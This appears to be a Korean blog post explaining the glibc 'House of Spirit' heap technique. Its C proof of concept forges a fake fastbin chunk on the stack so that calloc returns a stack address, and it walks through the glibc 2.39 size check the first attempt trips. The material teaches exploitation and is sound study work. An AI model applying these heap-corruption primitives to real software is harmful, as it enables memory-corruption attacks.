[Exploit Tech Analysis][Heap] House of Spirit

Fastbin dup into stack과 비슷한 느낌이지만, 임의 주소에 대한 해제가 가능해야 한다.

어딘가에 fake chunk를 구성한 후 이를 해제하고, 재할당하면 해당 영역에 쓰기가 가능해진다. 다음과 같이 stack상에 fake chunk를 구성하고, 이 영역을 해제한다.

#include <stdio.h>
#include <stdlib.h>

int main() {
	setbuf(stdout, NULL);

	void *tcache[0x7];
	for (int i = 0; i < 7; i++)
		tcache[i] = malloc(0x30);
	for (int i = 0; i < 7; i++)
		free(tcache[i]);

	long chunks[0x10] __attribute__ ((aligned (0x10)));
	chunks[1] = 0x40;
	chunks[9] = 0x0;

	free(&chunks[2]);
	void *fc = calloc(1, 0x30);
	printf("%p %p\n", &chunks[2], fc);

}

실행하면 다음과 같은 오류를 볼 수 있다.

$ ./house_of_spirit
free(): invalid next size (fast)
[1]     84904 IOT insturction (core dumped)   ./house_of_spirit

이는 다음과 같은 조건을 위배하기 때문이다.

// Def. in /malloc/malloc.c, in function _int_free(), line 4577 (@glibc-2.39)
  bool fail = true;
  /* We might not have a lock at this point and concurrent modifications
     of system_mem might result in a false positive.  Redo the test after
     getting the lock.  */
  if (!have_lock)
    {
      __libc_lock_lock (av->mutex);
      fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
          || chunksize (chunk_at_offset (p, size)) >= av->system_mem);
      __libc_lock_unlock (av->mutex);
    }
  
  if (fail)
    malloc_printerr ("free(): invalid next size (fast)");

따라서 다음 청크의 크기가 CHUNK_HDR_SZ < sz < av->system_mem를 만족해야 한다. 이때 CHUNK_HDR_SZsizeof(size_t) * 2로 16이고, av->system_memmmap()으로 할당받은 힙의 크기이다. 초기 힙의 크기가 21000라는 점을 고려해 대충 맞춰주면 된다.

#include <stdio.h>
#include <stdlib.h>

int main() {
	setbuf(stdout, NULL);

	void *tcache[0x7];
	for (int i = 0; i < 7; i++)
		tcache[i] = malloc(0x30);
	for (int i = 0; i < 7; i++)
		free(tcache[i]);

	long chunks[0x10] __attribute__ ((aligned (0x10)));
	chunks[1] = 0x40;
	chunks[9] = 0x40;

	free(&chunks[2]);
	void *fc = calloc(1, 0x30);
	printf("%p %p\n", &chunks[2], fc);
}

실행하면 의도한 대로 calloc()가 stack에 구성한 fake chunk를 리턴하고 있음을 확인할 수 있다.

$ ./house_of_spirit
0x7ffd8efd3f60 0x7ffd8efd3f60

Reference

  1. https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_spirit.c

Leave a comment